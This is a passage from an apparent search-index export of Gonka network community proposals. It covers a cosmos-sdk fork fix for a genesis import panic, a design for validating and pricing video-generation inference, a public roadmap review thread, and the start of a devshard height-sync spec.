"}, {"location": "community/discussion/proposals/1153-cosmos-sdk-fork-genesisgo151-158-panics-on-appd-export-init-/#cosmos-sdk-fork-genesisgo151-158-panics-on-appd-export-init-mirror-existing-poc-skip-pattern-from-delegationgo", "title": "cosmos-sdk fork: genesis.go:151-158 panics onappd export → init — mirror existing PoC skip pattern from delegation.go?", "text": "Автор: @vitaly-andr · Категория: Proposals · Создано: 2026-05-08 11:47 UTC · Обновлено: 2026-05-08 12:14 UTC
"}, {"location": "community/discussion/proposals/1153-cosmos-sdk-fork-genesisgo151-158-panics-on-appd-export-init-/#_1", "title": "📝 Описание", "text": "Posting this for maintainer validation before opening a PR against gonka-ai/cosmos-sdk. Discovered while implementing simulation tests for gonka-ai/gonka#982 Phase 1.
gonka-ai/cosmos-sdk@v0.53.3-ps17 deliberately disables token bonding for PoC validators. compute.go:SetComputeValidators creates bonded validators with validator.Tokens set but no corresponding bank coins in the BondedPool module account. This is the documented design (see gonka/docs/cosmos_changes.md \"No Token Bonding\" section).
The fork already applies the matching modifications to keep this design consistent across runtime paths:
x/staking/keeper/pool.go:78-92 — TotalBondedTokens iterates validators manually instead of querying bank (explicit // PoC OVERRIDE comment).x/staking/keeper/delegation.go — Delegate skips coin transfer when validator.Description.Details == \"Created after Proof of Compute\".x/staking/keeper/val_state_change.go — removed transfers between bonded / not-bonded pools.The only remaining gap is x/staking/keeper/genesis.go:151-158, which still enforces the upstream invariant:
bondedBalance := k.bankKeeper.GetAllBalances(ctx, bondedPool.GetAddress())\n// ...\n// if balance is different from bonded coins panic because genesis is most likely malformed\nif !bondedBalance.Equal(bondedCoins) {\n panic(fmt.Sprintf(\"bonded pool balance is different from bonded coins: %s <-> %s\", bondedBalance, bondedCoins))\n}\nThis invariant is upstream cosmos-sdk and is incompatible with the PoC design — bondedBalance is always zero (PoC validators don't fund bonded pool), but bondedCoins is sum(validator.Tokens) which is non-zero for any cycle past the first PoC epoch transition.
inferenced export (which calls bApp.ExportAppStateAndValidators) produces a JSON genesis. inferenced init <chain> --genesis <that file> then panics on boot because staking InitGenesis hits this invariant.
This means gonka-ai/gonka cannot perform a vanilla appd export → init chain upgrade. Production has worked around this by using x/upgrade in-place handlers exclusively (see inference-chain/app/upgrades/v0_2_*), which migrate live state instead of re-initing from exported genesis. So the bug is latent but not blocking today — until someone needs disaster recovery from a known-good export, or a fork-from-genesis, or any other vanilla import-from-export flow.
(Once gonka-ai/gonka#982 Phase 1 lands.) Run any simulation that crosses an epoch boundary, then:
exported, _ := bApp.ExportAppStateAndValidators(false, []string{}, []string{})\nnewApp := /* fresh App via app.New */\nnewApp.ModuleManager.InitGenesis(ctxB, newApp.AppCodec(), genesisState)\n// panics: bonded pool balance is different from bonded coins: <-> 906008476161stake\nThe panic site is x/staking/keeper/genesis.go:158.
The new TestAppImportExport_Postrun in inference-chain/app/sim_test.go reproduces this on the first PoC epoch transition.
Apply the same skip pattern that already exists in delegation.go:
bondedBalance := k.bankKeeper.GetAllBalances(ctx, bondedPool.GetAddress())\n // ...\n+// PoC validators are unbonded by design; their tokens are not backed by\n+// bank coins (see compute.go:SetComputeValidators and the \"No Token Bonding\"\n+// section in gonka/docs/cosmos_changes.md). Subtract their token sum before\n+// comparing against bondedBalance.\n+pocBonded := sdk.ZeroInt()\n+for _, validator := range data.Validators {\n+ if validator.Status == types.Bonded && validator.Description.Details == \"Created after Proof of Compute\" {\n+ pocBonded = pocBonded.Add(validator.Tokens)\n+ }\n+}\n+expected := bondedCoins.Sub(sdk.NewCoin(data.Params.BondDenom, pocBonded))\n-if !bondedBalance.Equal(bondedCoins) {\n+if !bondedBalance.Equal(expected) {\n panic(fmt.Sprintf(\"bonded pool balance is different from bonded coins: %s <-> %s\", bondedBalance, bondedCoins))\n }\n(Same pattern needed for the notBondedBalance check at line 173-175 — though it's less likely to fire in practice because PoC validators are always Bonded status.)
appd export → init considered a supported flow for this fork, or has it been intentionally given up in favor of x/upgrade in-place handlers?Description.Details == \"Created after Proof of Compute\" string match is fragile (already used in delegation.go, so consistent with existing fork convention). Would a typed flag on Validator be preferable, or is the string-match convention something you'd like preserved for now?The proposed fix mirrors patterns already present in this fork:
x/staking/keeper/delegation.go — Delegate skip for PoC validators (commit by johnlong, 2024-08 \"Working version\"; reinforced 2025-01-10 \"Add delegation to our staking override\"; later \"Genesis only protection\" by Gleb Morgachev 2025-09-30 added a hard post-genesis ban).x/staking/keeper/pool.go — TotalBondedTokens manual iteration (\"Genesis only protection\", \"Handle missed blocks\" by Gleb Morgachev, 2025-09).x/staking/keeper/val_state_change.go — removed bonded/not-bonded transfers.x/staking/keeper/compute.go — SetComputeValidators (multiple commits through 2025-12-21, mainly Gleb Morgachev and dima).The missing modification in genesis.go:157-158 is the only gap in this set.
Happy to open a PR against gonka-ai/cosmos-sdk implementing the fix above (genesis.go only, ~10 lines mirroring existing convention) if my understanding of the design intent is correct. Holding off until a maintainer confirms so I don't waste a roundtrip.
🔄 Auto-sync: from Discussion #1155 every hour.
"}, {"location": "community/discussion/proposals/1155-add-support-for-video-generation-models/#add-support-for-video-generation-models", "title": "Add support for video generation models", "text": "Автор: @baygeldin · Категория: Proposals · Создано: 2026-05-08 16:18 UTC · Обновлено: 2026-05-19 13:00 UTC
"}, {"location": "community/discussion/proposals/1155-add-support-for-video-generation-models/#_1", "title": "📝 Описание", "text": ""}, {"location": "community/discussion/proposals/1155-add-support-for-video-generation-models/#motivation", "title": "Motivation", "text": "Open-weight video generation models have improved significantly over the past few years and have reached a level of quality that makes them viable for real-world video production workflows. Adding support for these models to the Gonka network has the potential to reduce production costs. Additionally, it would open a path toward supporting other modalities in the future.
I propose to start with supporting text-to-video models as the most general case. More specifically, with the Wan2.2-T2V-A14B model because it seems to be the best open-source text-to-video model to date that has a permissive license (Apache 2.0). LTX-2.3 is comparable in terms of performance, but has a much more restrictive custom license which might present additional unnecessary hurdles at this point.
"}, {"location": "community/discussion/proposals/1155-add-support-for-video-generation-models/#challenges", "title": "Challenges", "text": "Let's first outline the challenges we face due to the architectural differences between video generation models and LLMs.
"}, {"location": "community/discussion/proposals/1155-add-support-for-video-generation-models/#inference-validation", "title": "Inference validation", "text": "Current SOTA video generation models are predominantly diffusion transformers (DiTs). Unlike autoregressive models such as LLMs, DiTs don't build the final result token-by-token. Instead, they start with random noise and repeatedly denoise it until it resembles the final result. While autoregressive transformers predict the next token, DiTs predict the difference/distance between the noisy input and the slightly less noisy output (this difference is then applied to the input before we move to the next denoising step).
Currently, to validate inference in Gonka, executors store logprobs for each generated token, and then validators \"replay\" the inference and compare logprobs. This wouldn't work very well for DiTs because the predictions are much heavier (usually the same shape as the input latent) and we can't just sample the DiTs prediction like we do with autoregressive models predictions.
More importantly, though, it doesn't make sense to compare the DiTs predictions directly because the result we get from running the DiT is not the final result of running the model. Specifically, in Wan2.2, the transformer operates on a latent/compressed representation of the video, and to get the actual video frames we need to pass that latent representation through a VAE decoder (which is essentially a convolutional neural network). Additionally, to get the final video file it needs to do some post-processing and encode the frames into a video container.
To validate inference honestly and protect against tampering we need to compare the final result of the generation (i.e. the actual video file which hash we store on-chain), but due to inherent nondeterminism of floating point math in GPUs we can't rely on outputs being bitwise-identical.
"}, {"location": "community/discussion/proposals/1155-add-support-for-video-generation-models/#proof-of-compute", "title": "Proof-of-Compute", "text": "Unlike LLMs that basically have a single computationally significant step (repeated forward passes through the transformer-based network), video generation models inference pipeline is a bit more complex. In case of Wan2.2, it also has a small text encoder (for the text prompt), VAE autoencoder, and post-processing steps.
I believe that these differences could be largely disregarded because by my estimate, DiT denoising steps still seem to account for >95% of compute and >80% of VRAM needed during inference. It makes little sense for a node to trick PoC by saving on text encoder and VAE weights because negatives (such as failed validations) would outweigh the benefits. Thus, I think that proving that a given node is able to run the denoising steps should be enough.
"}, {"location": "community/discussion/proposals/1155-add-support-for-video-generation-models/#pricing-policy", "title": "Pricing policy", "text": "When it comes to LLMs, pricing is straightforward: we simply charge per token. This works well because the models are autoregressive and, thanks to KV caching, each new token can reuse the cached keys and values from previous tokens (except during prefill). This makes generation cost grow roughly linearly with the number of output tokens. In practice, this lets us approximate the cost of a single inference as something like (prompt_token_count + response_token_count) * price_per_token. This wouldn't work for DiTs.
In case of DiTs, we can think of latent patches as our tokens. Latent patches are small chunks of the model's latent representation. Unlike autoregressive models, however, DiTs process all latent patches together at each denoising step rather than generating them one at a time while relying on KV caching. Because self-attention operates over all patches, the cost of a single forward pass grows roughly quadratically with the number of latent patches. Additionally, the cost is also linearly driven by the requested number of denoising steps.
"}, {"location": "community/discussion/proposals/1155-add-support-for-video-generation-models/#high-level-solution", "title": "High-Level Solution", "text": ""}, {"location": "community/discussion/proposals/1155-add-support-for-video-generation-models/#perceptual-similarity-for-inference-validation", "title": "Perceptual similarity for inference validation", "text": "As we saw above, in diffusion models we operate on the latent/compressed representations. The strength of that compression is defined by the VAE stride and the number of latent channels. For Wan2.2-T2V-A14B the stride is [4, 8, 8] and the the number of channels is 16. With CFG (Classifier-Free Guidance) enabled, we make two forward passes per denoising step. Thus, we can estimate that if we were to save artifacts after each forward pass, for a single 1280x720@16FPS video with the duration of 5s over 40 denoising steps, it'd take ~750MB of storage for a video that itself is only about ~5MB compressed. This is too much for a single inference.
For this reason, I propose not to store any artifacts except the final video file itself. Instead, let's focus on re-generating the video from the original prompt in a way that our result is close enough to the original executor's result, so that we could compare them algorithmically.
First of all, we need to get rid of all sources of nondeterminism during inference that are under our control: - Starting noise latent. This is a tensor containing random Gaussian noise from which the final video is generated with each forward pass. It's the main source of nondeterminism. Often, it's controlled by the PRNG seed in inference engines, so it's not necessary to store it as an artifact during inference if we ensure that we can deterministically generate it from the same seed on two different machines. - Runtime/hardware stack. Different implementations could result different activations even with the same starting noise latent, and these differences compound over denoising steps leading to different results. Thus, to get a result that we can confidently say is visibly very similar, we need to make sure that we pin the runtime for each inference (e.g. attention backend used, GPU architecture, etc). This means that if the executor used NVIDIA GPUs to produce the result, then the validator should also use NVIDIA GPUs.
I believe that if we can pin these two sources of nondeterminism, then the result of the inference during validation should be close enough to the original result that we can then compare the videos frame-by-frame using similarity metrics. Particularly, DISTS (Deep Image Structure and Texture Similarity) seems like a good option as it claims to have \"tolerance to texture resampling\" and \"relatively insensitive to geometric transformation\". LPIPS is another popular option, but it may be a bit outdated at this point. However, the appropriate metric could only be found through experimentation.
"}, {"location": "community/discussion/proposals/1155-add-support-for-video-generation-models/#adapt-poc-algorithm-to-dits-in-vllm-omni", "title": "Adapt PoC algorithm to DiTs in vLLM-Omni", "text": "Currently, PoC is tightly integrated into vLLM which doesn't support diffusion models. The first task would be to migrate ML nodes to vLLM-Omni. Since vLLM-Omni is built on top of vLLM, porting the existing logic from Gonka's vLLM fork to Gonka's vLLM-Omni fork shouldn't be a problem.
The next step would be adapt the existing PoC mechanism for DiTs. At the core, DiTs are still transformers, so the same approach should work: instead of offloading the inference model, we can randomly \"scramble\" how the weights are applied in a way that could be reproduced later given the seed.
However, there's one important difference: Mixture-of-Experts tends to work a bit differently in the diffusion models. More specifically, in Wan2.2-T2V-A14B the MoE router is not learned. It has two experts (low-noise or high-noise) which it chooses deterministically based on the current denoising step. High-noise expert is used early in denoising (for overall layout and motion), and low-noise expert is used later in denoising (for refining details).
This means that no matter how we transform each layer, the initial forward pass would always use the high-noise expert. So, we won't prove that the node actually runs the full 27B model since the node could have loaded only the high-noise expert. Thus, PoC approach needs to account for this situation by implementing additional hooks into the MoE router, and choose the expert randomly based on the seed.
"}, {"location": "community/discussion/proposals/1155-add-support-for-video-generation-models/#separate-pricing-model-for-dits", "title": "Separate pricing model for DiTs", "text": "As discussed earlier, DiT inference differs from LLM inference in several important ways. These differences are significant enough that DiTs require a separate pricing model.
Currently, the price per token for text models is determined dynamically based on the model's utilization. We can reuse the same logic for DiTs, but we first need to define a unit of execution. A reasonable unit would be a single forward pass through the model using the minimum supported configuration, meaning the settings that result in the lowest computational cost, such as the minimum supported resolution, FPS, and other relevant parameters.
Then the question becomes: \"How do we compute the number of units for a given inference request?\" The good news is that, unlike with autoregressive models, where we do not know the final number of generated tokens before processing the request, DiT inference cost can be pretty much estimated upfront from the requested parameters.
More specifically, we can derive the inference cost from the number of latent patches and the number of forward passes. The latent patch count depends on the requested width, height, and frame count, together with model-specific parameters such as the VAE stride and latent patch size. The forward-pass count depends on the requested number of denoising steps and model's implementation.
Then the inference cost can look like this:
inference cost = \n price_per_unit * \n forward_pass_num * (\n alpha * latent_patch_num^2 +\n beta * latent_patch_num\n )\nHere, latent_patch_num^2 captures the quadratic cost of self-attention over latent patches, while latent_patch_num captures the roughly linear parts of the forward pass, such as MLP layers, normalization, embeddings, etc. The coefficients alpha and beta are model-specific. They depend on the model architecture such as the number of layers, attention heads, MLP size, etc. We can estimate them empirically for each model.
How confident can we be that pinning the runtime and the starting noise latent would consistently produce videos similar enough to compare with perceptual similarity metrics?
My assumption is that this should hold in practice, but we can only verify it through experiments: generating videos on different machines capable of running the model and comparing the results.
If this hypothesis proves unreliable though, we could use a fallback approach: saving additional intermediate artifacts during inference. These artifacts would not be the DiT predictions themselves, but the DiT inputs, meaning the noisy video latents. We also would not need to save them at every denoising step. Instead, the executor could save a small number of intermediate noisy latents at selected steps.
During validation, the validator would run inference up to one of those steps and compare its intermediate latent representation with the one saved by the executor. If the distance between the two latent representations is too large, validation fails. If the distance is small enough, the validator can continue generation from the executor-provided latent and repeat the process from the next saved checkpoint, eventually comparing the final generated video as usual.
Could we simply limit DiT inference to Trusted Execution Environments?
Inference validation is probably the trickiest part of supporting DiTs, so it is tempting to assume that if the TEE proposal is implemented, we could simply restrict text-to-video inference to trusted execution environments. However, TEEs appear to have their own unresolved issues, as shown by tee.fail. Therefore, even if TEEs become part of Gonka in the future, we should treat them as a possible additional layer of protection rather than as the primary validation mechanism for DiT inference.
How does conditioning factor into the DiT pricing model?
In the case of Wan2.2-T2V-A14B, the only conditioning comes from the text prompt. Since the prompt length is capped, I do not think we need to account for it separately when estimating inference cost.
However, if Gonka supports other DiT models in the future, they may use heavier forms of conditioning, such as images, audio, or video. These inputs could meaningfully affect inference cost. If that happens, the pricing model would probably need to be extended to account for conditioning cost.
"}, {"location": "community/discussion/proposals/1155-add-support-for-video-generation-models/#1", "title": "💬 Комментарии (1)", "text": ""}, {"location": "community/discussion/proposals/1155-add-support-for-video-generation-models/#1-baygeldin", "title": "Комментарий 1 — @baygeldin", "text": "2026-05-19 13:00 UTC
I'd like to expand on the proposal to help us estimate how much compute we'd need for STAGE 1.
"}, {"location": "community/discussion/proposals/1155-add-support-for-video-generation-models/#experiment-design-for-video-inference-validation", "title": "Experiment design for video inference validation", "text": "I propose using the \"DiFR: Inference Verification Despite Nondeterminism\" paper as the main reference for testing our inference-validation hypothesis for video generation.
"}, {"location": "community/discussion/proposals/1155-add-support-for-video-generation-models/#why-difr-is-a-useful-reference", "title": "Why DiFR is a useful reference", "text": "DiFR studies a similar problem: how to verify that inference was performed according to a declared specification despite benign nondeterminism. The paper focuses on text models, but I think their methodology is directly relevant here.
The parallels with our proposed approach: - Token-DiFR approach results in a scalar score calculated against a trusted reference, indicating how closely the inference matches that reference. Similarly, our perceptual similarity metric would be a scalar score calculated against a reference video generation. - Activation-DiFR extension is similar to the checkpointing idea described in the \"Open Questions\" section of the proposal in a sense that it compares intermediate inference artifacts against the verifier's corresponding intermediate inference states.
The paper provides a useful methodology: - It defines one canonical reference specification. - It defines benign deviations, meaning \"correct-but-noisy\" configurations. They simulate \"benign numerical noise by generating outputs using setups that are algebraically equivalent to the reference configuration apart from the ordering of floating-point reductions\" (e.g. different GPU microarchitectures). - It defines incorrect/malicious misconfigurations: real deviations from the specification, such as wrong weights, incorrect quantization, incorrect sampling seed, etc. - The key question is threshold selection: can valid cross-machine pairs be separated cleanly from invalid or tampered pairs? - It evaluates detection quality at a target false positive rate of 1%.
NOTE: I also find it interesting that the paper claims to outperform TOPLOC (\"Activation-DiFR reaches AUC near 0.999 at 7.25 bytes per token, while TOPLOC requires 32 bytes per token to match this accuracy\") thanks to relying on the efficient compression via Johnson–Lindenstrauss lemma.
"}, {"location": "community/discussion/proposals/1155-add-support-for-video-generation-models/#configurations", "title": "Configurations", "text": ""}, {"location": "community/discussion/proposals/1155-add-support-for-video-generation-models/#reference-specification", "title": "Reference specification", "text": "I propose using the following canonical configuration: - NVIDIA H100 (or H200) - no tensor parallelism - no quantization (BF16 dtype) - Cache-DiT disabled - CFG enabled - 40 denoising steps - fixed PRNG seed per prompt
Additionally, we should pin the following for all configurations: - inference engine (vLLM-Omni) - attention backend (FlashAttention) - scheduler settings (we can use default settings) - model revision (exact HuggingFace commit hash) - video encoder settings
"}, {"location": "community/discussion/proposals/1155-add-support-for-video-generation-models/#benign-deviations", "title": "Benign deviations", "text": "Let's use configurations similar to the DiFR paper: - NVIDIA A100 without tensor parallelism - NVIDIA H100 with 4-way tensor parallelism (TP-4) - NVIDIA A100 with 4-way tensor parallelism (TP-4) - NOTE: this acts as the worst-case benign deviation because it combines the other benign deviations. - (optional) AMD MI300X - NOTE: if the NVIDIA benign deviations are too easy to separate from malign deviations, we could also stress-test the approach on AMD. I would not expect this to work well because it changes too many things at once.
NOTE: CUDA version, driver version, PyTorch version, and vLLM-Omni version may also affect the output, but probably less than the deviations listed above. The DiFR paper does not isolate these differences either; it even tests across different inference engines. I would therefore not include software-stack version changes in the experiment.
"}, {"location": "community/discussion/proposals/1155-add-support-for-video-generation-models/#malign-deviations", "title": "Malign deviations", "text": "For video generation, we can consider these deviations as malign: - 39 denoising steps - 30 denoising steps - FP8 quantized model - NOTE: this may be tricky; see the note below. - CFG disabled - NOTE: this reduces the number of forward passes by half. - Cache-DiT enabled - NOTE: this is not necessarily malign by itself, since it is a VRAM/performance tradeoff, but it is useful to test whether we can distinguish it from the reference generation. - different PRNG seed - NOTE: the different-seed case is not a realistic cheating strategy by itself, but it is useful as a baseline because it should produce a visibly different result.
Note on the FP8 model: Ideally, the entire experiment should use vLLM-Omni as the inference engine so that the work can be reused in later implementation stages. However, it is not yet clear whether vLLM-Omni can run the quantized Wan2.2-T2V-A14B variant reliably. Its vLLM-Omni documentation marks Wan2.2 as \"not validated\".
If it cannot, there are two options: 1. Skip the FP8 deviation in the first round and add it once vLLM-Omni supports it. 2. Run only this deviation through a different inference engine, for example run Wan2.2-T2V-A14B-Diffusers-FP8 via TRT-LLM, and clearly label it as a confounded deviation because both quantization and inference engine changed.
The first option is cleaner scientifically. The second option is still useful as a practical stress test, but the result should not be interpreted as isolating the effect of quantization alone.
"}, {"location": "community/discussion/proposals/1155-add-support-for-video-generation-models/#dataset-size", "title": "Dataset size", "text": "In the DiFR paper, the authors collected approximately 1 million output tokens per configuration, with 9 configurations per model. They then split the tokens in each configuration into non-overlapping batches and calculated a batch-level statistic by aggregating Token-DiFR scores. For a batch size of 10,000 tokens, this gives ~900 examples per model. For a batch size of 1,000 tokens, this gives ~9000 examples per model accordingly.
For video generation, we do not need to vary token batch sizes in the same way, because each generation has roughly the same number of frames. But we can still use this as a rough reference point for how many examples to generate for the experiment.
For each prompt, we can generate one reference video and one video for each benign and malign configuration. With one canonical configuration, 3 benign deviations, and 6 malign deviations, this means 10 generations per prompt.
Using roughly 1,000 prompts/examples would therefore produce about 10,000 video files.
There is no need to generate high-resolution videos for this experiment. We should use the minimum supported format: - 832x480 resolution - 81 frames at 16 fps (~5 seconds)
This is about 14 hours of generated video in total.
"}, {"location": "community/discussion/proposals/1155-add-support-for-video-generation-models/#artifacts-to-save", "title": "Artifacts to save", "text": "For each generation, we should save: - full configuration description - full generation parameters - final encoded video file - selected intermediate latents
The intermediate latents should include at least: - the initial noise latent - NOTE: this is a sanity check to confirm that the fixed seed actually produces the same initial noise latent across configurations. Otherwise, we may end up measuring divergence caused by different starting noise rather than by the configuration change itself. - the latent immediately before the high-noise to low-noise expert switch - the final latent before VAE decoding
These latent artifacts are for the experiment, not necessarily for production. They help us understand where divergence appears. If final-video perceptual comparison proves reliable, production validation can avoid storing latents. If it proves unreliable, these latent checkpoints become the fallback validation path.
The encoded video files themselves should require about 35GB of storage. The selected intermediate latents should require roughly ~125GB if stored as BF16/FP16 tensors, or ~250GB if stored as FP32 tensors. So, overall, we'd need about 200-300GB of storage.
"}, {"location": "community/discussion/proposals/1155-add-support-for-video-generation-models/#compute-estimate", "title": "Compute estimate", "text": "We need to run the following configurations: - H100 canonical configuration + 6 malign misconfigurations (7,000 generations) - 4xH100 benign configuration with TP-4 (1,000 generations) - A100 benign configuration (1,000 generations) - 4xA100 benign configuration with TP-4 (1,000 generations)
Using the official Wan2.2 T2V-A14B benchmark as a rough estimate: - 1xH100: 326.9s/video - 4xH100: 91.7s/video - 1xA100: 785.7s/video - 4xA100: 215.2s/video
This gives: - H100: (7,000 * 326.9 + 1,000 * 91.7 * 4) / 3,600 = ~738 GPU-hours - A100: (1,000 * 785.7 + 1,000 * 215.2 * 4) / 3,600 = ~457 GPU-hours
So the total is about 1,200 GPU-hours for generation alone. To leave room for retries, debugging, failed runs, and small configuration changes, we should probably budget about 1,500 GPU-hours.
"}, {"location": "community/discussion/proposals/1185-public-review-gonka-network-development-roadmap/", "title": "#1185 — [Public Review] Gonka Network Development Roadmap", "text": "🔄 Auto-sync: from Discussion #1185 every hour.
"}, {"location": "community/discussion/proposals/1185-public-review-gonka-network-development-roadmap/#public-review-gonka-network-development-roadmap", "title": "[Public Review] Gonka Network Development Roadmap", "text": "Автор: @paranjko · Категория: Proposals · Создано: 2026-05-18 15:32 UTC · Обновлено: 2026-05-27 20:59 UTC
"}, {"location": "community/discussion/proposals/1185-public-review-gonka-network-development-roadmap/#_1", "title": "📝 Описание", "text": "Hi everyone,
Over the last month, I have been working on the Gonka Network Development Roadmap.
Last week, we had an initial working discussion with a group of active hosts and community contributors. Now I want to open the document for broader public review and invite everyone to comment and improve it.
The idea is simple: Gonka has already built a foundation of distributed GPU capacity. The next question is what we should build around this capacity to turn it into reliable inference infrastructure, real developer usage, and long-term network growth.
I suggest using the next week for public review and alignment with the community and the Core team. I would especially like to invite the Core team to review and comment on the document, because this roadmap should become a shared picture of Gonka’s future — not just a community-side draft.
If we can reach enough alignment, the next step would be to move this document toward a governance vote as a shared vision for Gonka’s future and a broad development roadmap for the network.
"}, {"location": "community/discussion/proposals/1185-public-review-gonka-network-development-roadmap/#execution-framework", "title": "Execution Framework", "text": "If this roadmap is accepted, I would expect two parallel directions to start from it:
[!NOTE] This roadmap does not approve budgets, contractors, implementation details, or technical changes by itself. It should define the general direction first. After that, each track and project can be broken down into concrete subprojects and separate governance proposals where needed.
Future changes to roadmap tracks and projects should go through the Gonka Improvement Protocol process: public discussion, community feedback, and then a governance proposal to update the relevant tracks and projects in the document.
Full document for review
"}, {"location": "community/discussion/proposals/1185-public-review-gonka-network-development-roadmap/#areas-for-feedback", "title": "Areas for Feedback", "text": "For now, feedback would be especially helpful on three points:
Roadmap sequencing and focus
Which parts should become near-term proposals, and which should stay as longer-term roadmap directions?
Demand activation
Which projects should move to concrete proposals first to unlock real developer demand and network usage?
Gaps and overlaps
Are there missing tracks or projects? Are there areas that feel duplicated or unclear?
Please leave detailed inline comments in the Google Doc. General discussion can continue in this GitHub thread.
"}, {"location": "community/discussion/proposals/1185-public-review-gonka-network-development-roadmap/#5", "title": "💬 Комментарии (5)", "text": ""}, {"location": "community/discussion/proposals/1185-public-review-gonka-network-development-roadmap/#1-ore621", "title": "Комментарий 1 — @ore621", "text": "2026-05-19 02:22 UTC
I am thinking about the Foundation (marketing too) - where could we discuss this aspect?
↳ Ответ от @paranjko · 2026-05-19 13:27 UTC
I suggest discussing marketing questions in the dedicated marketing section of the roadmap (Track 11), as that would be useful for the roadmap review.
Regarding the Foundation, I would keep it as a separate discussion for now. I think it makes sense to return to this topic once we see whether there is broader alignment around the roadmap direction.
"}, {"location": "community/discussion/proposals/1185-public-review-gonka-network-development-roadmap/#2-aeoess", "title": "Комментарий 2 — @aeoess", "text": "2026-05-19 16:24 UTC
On the developer and AI-agent access track, I think one gap is worth making explicit.
Gonka already has a strong answer on the supply side: proving Hosts run inference correctly, with validation and reputation behind it. The demand side is different. Once agents start calling the network, the open question is who is making the request, under what authority, and on whose behalf.
Today that is a Developer account or an API key. That works for normal API access. It gets thin once the caller is an agent, because a key can't express something like: this sub-agent may call only this model, for this purpose, until this time, and can't pass wider authority to another agent.
The second piece is beneficiary attribution. The token economics already answer who gets paid for supplying compute. The piece I don't see clearly yet is who the work was done for. Enterprise inference, billing, abuse handling and revenue share all need that answer, and the calling key doesn't encode it.
This is a request-layer concern, in front of validation, so it can be scoped separately from how Hosts are checked. The roadmap decision is whether caller identity, scoped delegation and beneficiary attribution belong in the agent-access track or are left to integrators.
Same direction as the #1008 reply. Those primitives, Ed25519 identity, scoped delegation with monotonic narrowing and attribution receipts, already exist open-source in TypeScript and Python. If the direction is useful for Gonka, the Go / Cosmos bridge from that thread still holds: signature verification, ante-handler wiring and a CosmWasm helper.
I can write up the agent-access piece for the doc if that would be useful.
↳ Ответ от @akamitch · 2026-05-19 22:24 UTC
Better create one more gonka broker with such features
↳ Ответ от @gmorgachev · 2026-05-21 12:58 UTC
Agree that it might make sense to implement first on broker side. Then may be devshard side. But should be probably out of mainnet
↳ Ответ от @a-kuprin · 2026-05-21 18:36 UTC
devshard should have authentication. Thought on this.
Big and important point is that current gonka model suppose that there is devshard per account. I'm thinkng on something like public devshardctl where anybody can pay just 1USD and get inference tokens.
2026-05-21 14:27 UTC
@paranjko thanks for document. left some comments in google doc.
"}, {"location": "community/discussion/proposals/1185-public-review-gonka-network-development-roadmap/#4-a-kuprin", "title": "Комментарий 4 — @a-kuprin", "text": "2026-05-21 18:32 UTC
What is most important for roadmap - prioritization. And financial plan.
My main point that tracks shouldn't be parallel with equal priority. Also there should be defined source of money GNK/USD for each purpose
First of all GNK needs demand. Users should start use network for inferences in real cases.
If community pool with GNK will be directed for any outsource development, or equipment or anything like this, first action of a team who got the GNK will be selling it to get USDT. It will lead to lowering the price of GNK (as there is no liquidity at opposite side). Financing projects with GNK should take this into account.
Maybe we should provide vested GNK (like a year of vesting or even 2 years). So this will motivate teams to do Gonka better, not just get some cash right now.
But anyway development should be financed in real cash. And there is 12m USDT in community pool that should be targeted first to create demand: multi-model, agents, wrappers, exchanges.
Marketing also shouldn't go before start of real demand of Gonka network. We already have seen how marketing raised GNK up to 4USD but people who bought it or mined for > 2USD are very hard to return back to gonka. When there is no real use first, we will get the pump, but strategically will lost most of people who heard about gonka during such marketing campaign.
It could be smart marketing. Like popularization of decentralized AI idea, where gonka not even mentioned before it is really ready and usable.
"}, {"location": "community/discussion/proposals/1185-public-review-gonka-network-development-roadmap/#5-afedorov-bf", "title": "Комментарий 5 — @afedorov-bf", "text": "2026-05-27 18:43 UTC
Hi, thank you for putting this together - it addresses many important and highly relevant topics.
From our side, we would like to highlight what we believe should be treated as the highest priorities, and also add a few points that could further complement the roadmap.
Bitfury's view on the Gonka AI roadmap Date: 27 May 2026
The network has successfully gone through its initial deployment phase, overcome the identified limitations, and our priority is now shifting toward expanding the user base and driving broader adoption.
1. Demand activation should be the top priority
We see several parallel streams that should drive this:
Other priorities:
2. Speed up the Foundation track.
The Foundation is critical. It will allow to allocate funds in line with strategic priorities, incentivize ecosystem engagement, accelerate decision-making, and, most importantly, unlock the ability to hire senior leadership across sales, business development, and community management. Today there is simply no legal entity to bring such hires into, and that is the main blocker.
3. Continue to invest into Institutional-grade ecosystem readiness, including:
4. Tokenomics and the reward model improvement.
Today the tokenomics run mostly in manual mode, leaving potential capacity providers without a transparent view of expected rewards across different LLM models and hardware types. Compare this to Bitcoin mining, where operators know the current $/TH/s and can easily estimate their returns.
Summary
Gonka AI already has the core foundations in place: the technology, the supply, liquid reserves in the community pool, and the backing of serious investors. The next stage is focused on expanding the user base and actively attracting new customers to the network.
From Bitfury’s side, we are fully prepared to support these efforts through strategic customer introductions and our industrial expertise and credibility.
↳ Ответ от @paranjko · 2026-05-27 20:59 UTC
Thank you, this is very helpful and broadly aligned with the roadmap direction.
With this feedback in mind, I’ll proceed to the voting process. I hope you will support the proposal and continue contributing to the next stages after the roadmap vote, including the Foundation framework discussion.
"}, {"location": "community/discussion/proposals/1188-devshard-improvements-height-sync-protocol-needed-to-support/", "title": "#1188 — `devshard improvements` Height-sync protocol (needed to support cPoC at devshard and new validation protocol)", "text": "🔄 Auto-sync: from Discussion #1188 every hour.
"}, {"location": "community/discussion/proposals/1188-devshard-improvements-height-sync-protocol-needed-to-support/#devshard-improvements-height-sync-protocol-needed-to-support-cpoc-at-devshard-and-new-validation-protocol", "title": "devshard improvements Height-sync protocol (needed to support cPoC at devshard and new validation protocol)", "text": "Автор: @akup · Категория: Proposals · Создано: 2026-05-19 06:15 UTC · Обновлено: 2026-05-19 06:15 UTC
"}, {"location": "community/discussion/proposals/1188-devshard-improvements-height-sync-protocol-needed-to-support/#_1", "title": "📝 Описание", "text": ""}, {"location": "community/discussion/proposals/1188-devshard-improvements-height-sync-protocol-needed-to-support/#height-sync-protocol", "title": "Height-sync protocol", "text": "User ↔ host envelopes carry an optional HeightSyncSection that attests to a mainnet (height, block_hash) pair. This section is the sole input to cross-host time alignment, timeout decisions, and the IsStrictlyConfirmed(h) predicate that downstream protocols (cPoC, finalization) gate verdicts on. block_hash is a source of determenistic randomness that is unknown in advance, used by VALIDATION_PROTOCOL_PROPOSAL.md
This document is the canonical, single-version spec. The in-tree implementation matches this document; the test catalog (height-sync-tests.md) lists what is already proven and what is planned.
